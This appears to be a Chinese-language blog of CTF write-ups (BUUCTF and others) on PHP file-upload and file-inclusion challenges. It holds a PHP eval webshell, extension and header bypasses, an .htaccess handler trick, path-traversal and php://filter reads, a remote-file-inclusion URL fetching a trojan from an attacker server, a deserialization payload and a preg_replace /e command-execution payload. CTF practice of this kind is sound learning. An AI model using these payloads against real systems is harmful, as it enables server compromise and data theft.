快速入门web-文件上传+包含及buuctf西电题解
快速入门web-文件上传+包含及buuctf西电题解
知识点:
1.include 是什么
include "/flag";
include 原本的设计目的是为了让你把写好的 PHP 代码(比如头部导航栏)拼接到当前页面里。
但是,如果你让它去 include 一个不是 PHP 代码的文件(比如 /flag),它会发生一个非常有趣的现象:
它发现这玩意儿不是代码:PHP 引擎打开 /flag,一看开头没有 <?php。
它直接原样输出:PHP 觉得“既然这不是代码,那我就把它当成普通的 HTML 文字,直接显示在网页上吧”。
结果: 你的 Flag 就这样被“顺便”打印在了屏幕上。
[第二章 web进阶]文件上传 1 文件上传漏洞 题解
1.上传webshell.jpg文件
2.发现上传成功却无法打开
是因为上传的目录是随机的,所以用御剑扫描即可,找到对应网页 打开
[ACTF2020 新生赛]Upload 1
十分波折的一道题目哈
1.文件上传php,失败,显示只能jpg等一堆正常格式
2.上传木马jpg,改成php,nonono
3.那改成phtml?黑名单绕过,可以
4.蚁剑连接得到flag
注意linux系统查看当前目录flag需要 cat /flag
1 | 1. 直接上传.php文件 → 失败(前端/后端检测后缀,仅允许jpg/png等图片格式); |
1 | GIF89 |
[极客大挑战 2019]Upload
1题解
1.上传webshell.jpg被识破了
2.换种思路 文件里面 木马前面加个GIF 图片文件的文件头标识GIF89,上传成功
3.抓包后缀改成php,no;php5,no,说明是黑名单绕过,来个phtml,ok
4.蚁剑连接
13 第十三章 通幽关·灵纹诡影
这道题真让我难受
题目:
- 仅受仙灵之气浸润的「云纹图」可修复玉魄核心(建议扩展名:.jpg)
- 灵纹尺寸不得大于三寸(30000字节)
- 灵纹必须包含噬心魔印(十六进制校验码:FFD8FF)
1.首先他只是建议jpg,实际上你可以传php然后把头改成FFD8FF,保存后上传
2.抓包然后改成Content-Type: image/jpeg
3.蚁剑连接
我的错误点:
1.一开始用jpg上传,成功后没有更改后缀为php就蚁剑连接了。不是php怎么让木马生效?
2.改成了php,发现抓包后返回内容为:
{{unquote(****"\xff\xd8\xff\x0d\x0a\x0d\x0a"****)}}
于是删掉头和尾再上传,发现上传不成功(服务器没法把\xff\xd8\xff转成真实的 FFD8FF 二进制头)
3.用<FilesMatch “.jpg$”>
SetHandler application/x-httpd-php
发现还是不成功
(
先传.htaccess再传.jpg木马的核心逻辑
「先改规则,再用规则」
.htaccess是「规则文件」,作用是告诉服务器:“从现在开始,/uploads目录下的.jpg文件都按 PHP 解析”。
传完.htaccess后,必须用test.jpg(含phpinfo())验证规则是否生效:
- 若验证失败(看不到 PHP 信息),说明
.htaccess没起作用,继续传.jpg木马也是浪费时间,直接放弃这条路; - 若验证成功,再传真实木马,避免做无用功。
14 第十四章 御神关·补天玉碑
提示是htaccess
1.上传htaccess
2.上传木马图
3.蚁剑连接
这里蚁剑出现返回数据为空,是因为我的木马是
| 写法 | 兼容性 | 是否生效 | 蚁剑连接结果 |
|---|---|---|---|
<?php eval($_POST['cmd']);?> |
所有 PHP 版本 | ✅ 生效 | 正常(空返回但可操作) |
<script language="php">...</script> |
仅 PHP5.3- | ❌ 不生效 | 完全空返回,无法操作 |
[BSidesCF 2020]Had a bad day
1
文件包含漏洞
1. 本地文件包含(LFI)
比如 PHP 网站有代码:include($_GET['page']);
攻击者访问:http://xxx.com/index.php?page=../../../../etc/passwd
→ 服务器会读取 Linux 系统的/etc/passwd文件(存储用户信息的敏感文件)并返回。
2. 远程文件包含(RFI)
如果服务器允许包含远程文件,代码还是include($_GET['page']);
攻击者访问:http://xxx.com/index.php?page=http://攻击者服务器/恶意木马.php→ 服务器会下载并执行这个远程木马,攻击者直接控制服务器。
1.先用伪协议读取index.php源码
1 | php://filter/read=convert.base64-encode/resource=index |
为什么不加php变成index.php,因为后端自动拼接php给文件了
源码:
1 |
|
漏洞 1:strpos($file, “index”) 少写了!== false(最致命)
strpos函数的返回规则:
找到字符串:返回匹配的位置(数字,比如indexabc返回 0);
没找到:返回false。
正常校验应该写strpos(…) !== false(严格判断 “找到”),但代码里只写了strpos($file, “index”):
只要$file里有index,strpos返回数字(非 false),条件成立;
更关键:如果$file以index开头(比如index../../etc/passwd),strpos返回 0,条件也成立!
漏洞 2:include($file . '.php') 是 “拼接后缀”,可通过截断 / 路径穿越绕
代码会自动给$file加.php后缀(比如传woofers,实际包含woofers.php),但攻击者可以用「路径穿越 + 空字节 / 截断」绕过:
比如传woofers/../../etc/passwd%00:
拼接后变成woofers/../../etc/passwd%00.php;
%00是 PHP 的 “空字节截断”,会让 PHP 忽略后面的.php,实际包含woofers/../../etc/passwd(读取系统敏感文件)。
2.访问 index.php?category=woofers/../flag
为什么这么做?
文件包含逻辑:
代码会把用户传入的 category 参数值(也就是 woofers/../flag)拼接到 include 函数里,还会自动加 .php 后缀,即 include(参数值 + ‘.php’);
白名单校验逻辑:
只要参数值里包含 woofers/meowers/index,就允许执行这个 include 操作(否则拒绝)。
1.参数值woofers/../flag的含义
/../:是「路径穿越符」(Linux/PHP 里,A/../B 等价于 B);
比如woofers/../flag → 实际等价于flag(先进入 woofers 目录,再返回上一级,最终指向 flag);
整个参数值的核心:用woofers凑白名单,用/../抵消掉它,最终指向flag。
1 | 2.代码拼接后的实际包含路径 |
抓包得到多出了一句话:
出现了别的内容,包含成功了flag.php,但是这里也说了flag需要读取
利用php://filter伪协议可以套一层协议读取flag.php
3.读取flag
伪协议格式:
?file=php://filter/read=convert.base64-encode/resource=你想要看的文件
php://filter伪协议可以套一层协议,就像:
1 | php://filter/read=convert.base64-encode/woofers/resource=flag |
这样提交的参数既包含有woofers这个字符串,也不会影响正常的包含,得到Flag.php:
11 第十一章 千机变·破妄之眼
省流:HDdss看到了 GET 参数名由m,n,o,p,q这五个字母组成(每个字母出现且仅出现一次),长度正好为 5,虽然不清楚字母的具体顺序,但是他知道参数名等于参数值才能进入。
其实也就是输入mnopq=mnopq就ok,关键是你不知道顺序,也无法短时间内枚举,那就抛给脚本
1 | import itertools |
1.params 是 requests 帮你自动处理 GET 参数的东西
1 | requests.get(url, params={"a": "1"}) |
requests 内部其实做了👇
url + “?” + “a=1”
也就是:
然后出现了flag.php,find.php
分别进去发现:
flag.php 他说答案已经在这里了,你看不到
find.php 是一个新的查看界面,查看flag,仍然出现”答案已经在这里了,你看不到“
所以换个思路,我们可以用伪协议读取64编码过的flag.php源码
1 | php://filter/read=convert.base64-encode/resource=./flag.php |

moectf web 这是…Webshell?
1 | <?php |
所有字母数字都被过滤了
因为直接写命令的路被堵死,所以 “上传命令文件→用纯符号找文件执行”
Payload(?shell=?><?=.+/???/????????[@-[];?>)
| 部分 | 作用 | 通俗解释 |
|---|---|---|
?><?= |
闭合原 PHP 标签,开启短标签执行 | 原代码是eval($shell),加这个能直接执行后面的内容 |
. |
执行系统命令的简写 | 在 Linux 里,. filename 等价于 source filename(执行文件里的命令) |
/???/???????? |
通配符,匹配「临时文件路径」 | 上传的文件会被 PHP 存到系统临时目录(比如 /tmp/phpXXXXXX),??? 匹配 tmp,???????? 匹配随机文件名(8 个字符) |
[@-[] |
通配符,匹配「临时文件名的最后部分」 | @ 的 ASCII 码是 64; [ 的 ASCII 码是 91; [@-[] 翻译:匹配 ASCII 码 64 到 91 之间的所有字符。 利用 ASCII 码范围匹配随机字符,确保能精准命中上传的临时文件 |
[@-[] 匹配的是 ASCII 码64(@)到 91([) 的字符,包含:
@(64)、A-Z(65-90)、[(91);
Payload 翻译:执行 /tmp/ 目录下的那个PHP临时文件(也就是我们上传的含命令的文件)
上传的文件里写:
1 |
|
#! /bin/bash:告诉系统这是一个 bash 脚本,要按命令执行;env:输出系统环境变量(很多 CTF 的 flag 会藏在环境变量里,比如flag=xxx);- 也可以把
env改成cat /flag,直接读取 flag 文件。
[ZJCTF 2019]NiZhuanSiWei
1
1. file_get_contents 是什么?(读取)
它的工作是读取文件内容。
核心逻辑是: 你给它一个“路径”,它就把那个路径里的东西全部读出来,变成一个字符串。
- 常规用法:
file_get_contents("a.txt");—— 机器人去读电脑硬盘上的a.txt文件。 - 网络用法:
file_get_contents("http://google.com");—— 机器人去互联网上下载网页内容。
2. 伪协议是什么?(拿东西工具)
“协议”通常是指获取数据的规则(比如 http:// 是从网上拿,file:// 是从本地硬盘拿)。
“伪协议”(Wrappers) 是特殊快捷方式。它告诉 PHP:“不要去硬盘找,也不要去网上找,去我指定的特殊位置找数据”。
3. 为什么会有 php://input 这种东西?
在 Web 开发中,有些数据并不在 URL 里,也不在文件里,而是在 HTTP 请求的“身体”(Body) 里。
PHP 为了能方便地拿到这个“身体”里的原始数据,就发明了 php://input 这个伪协议。
当你写
file_get_contents("php://input")时,你实际上是在命令 PHP:“嘿,直接去当前的 HTTP 请求包里,把人家发过来的 POST 数据原封不动地抓出来给我。”
4. 常见的伪协议全家桶
| 伪协议名称 | 作用 | CTF 常见用途 |
|---|---|---|
file:// |
读取本地文件 | 读取服务器上的 /etc/passwd 等敏感文件。 |
php://filter |
过滤器 | 最强神器。 可以把源码 Base64 编码后再读出来,防止源码被执行,从而看到源码。 |
php://input |
读取 POST 原始数据 | 绕过 if($a == "hello") 这种逻辑,直接从 Body 传值。 |
data:// |
数据流 | 直接把字符串写在 URL 里当作文件内容。 |
题目:
1 | <?php |
第一关:welcome to the zjctf
get传参,post塞内容
1 | curl -X -POST "http://58974225-e8a3-46c6-80ae-b23e543ed37a.node5.buuoj.cn:81/?text=:php//input" -d "welcome to the zjctf" |

第二关:查看提示中uesless.php
问题:怎么打印这个php呢?在代码中并没有任何显示结果
但是看到include(file)
或许我们可以通过给file传参伪协议filter,获取base64编码过后的源代码
filter伪协议使用格式:
1 | php://filter/read=convert.base64-encode/resource=目标文件名 |
1 | -POST /?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php |

解码
1 | <?php |
第三关:魔法函数+反序列化
1.__tostring()
魔法函数:以__开头,逻辑是当他的类对象被当作字符串时(echo/print),就会被触发执行
所以我们让这里的魔法函数被触发,就能读取file,我们再让file为flag.php
不就可以读取flag.php了么?
做法:
通过 GET 传参 file=useless.php 我们利用文件包含漏洞,将 useless.php加载至当前内存;
接着,看到 unserialize() ,我们需要构造一个序列化的 Flag 对象的实体,并通过属性篡改将其内部的 $file 变量指向目标文件 flag.php;
最后,借助主代码中的 echo $password 强制触发 __toString() 魔术方法,从而执行魔法方法下面的 file_get_contents() 读取并输出 flag.php 的内容。
payload:
1 | &file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
1 | -POST /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
反序列化脚本:
1 | <?php |
[BJDCTF2020]ZJCTF,不过如此
1 题解 c!
在 PHP 中,preg_replace 是一个强大的正则表达式替换函数。它可以在一个字符串中使用正则表达式搜索和替换指定的文本。
函数语法如下:
preg_replace($pattern, $replacement, $subject);
这里的 $pattern 是一个正则表达式字符串,用于指定搜索的模式, $replacement 是替换成的字符串, $subject 是要搜索和替换的原始字符串或字符串数组。
preg_replace 函数返回一个替换后的字符串或数组。
1.观察代码
1 | <?php |
1.1 isset():函数,意思是 “检查变量是否存在且不为空”。
判断 “你有没有传text参数”—— 如果没传text,或者传了但值是空的,就不满足这句话了
1.2 r是read(读取)的缩写,告诉 PHP:“我只想读取$text指向的内容,不做写入、修改等操作”
1.3 file_get_contents()能识别 PHP 伪协议,不用依赖服务器上的任何真实文件
你现在需要一个现成的文件然后里面内容是:
但是没有现成的文件
所以我们构造一个,使用伪协议就ok
伪协议使用: php://input
3.使用
用burpsuite抓包改报头,伪协议使用php://input,格式如下
1 | POST /..?参数=php://input |
发现也没啥
4.继续,构造**$file**
前面代码分析过了**$file**的值极有可能是next.php,写上来试试
POST /?text=php://input&file=next.php HTTP/1.1
得到base64一堆密码,解码并读取
5.读取
1 | <?php |
6.构造
$re = S* cmd
$str = {${getFlag()}} system(‘ls’)
// str 会被放进 \1 里面,
strtolower(“\1”)会被放进 (‘ . $re . ‘) 里面
变成 strtolower(“str”)
1.得到strtolower(“{${getFlag()}}”),遇到/e执行getFlag()
2.执行,因为cmd=system(‘ls’),所以
1 | @eval($_GET[' cmd '])便变成了@eval(system('ls')) |
eval()会把这个字符串当成 PHP 代码来运行
所以能得到ls显示结果
所以我们构造:
1 | http://目标地址/next.php?\S*={${getFlag()}}&cmd=system('ls'); |
得到:相应内容;
以此类推,找到flag,cat它
bin dev etc flag home lib media mnt proc root run sbin srv sys tmp usr var system(‘ls ../../../../‘);
1 | http://目标地址/next.php&\S*={${getFlag()}}&cmd=system('cat /flag'); // cat /flag 表示读取根目录下的flag文件。 |
1 | (url).../next.php&\S*={${getFlag()}}&cmd=system('linux命令'); |

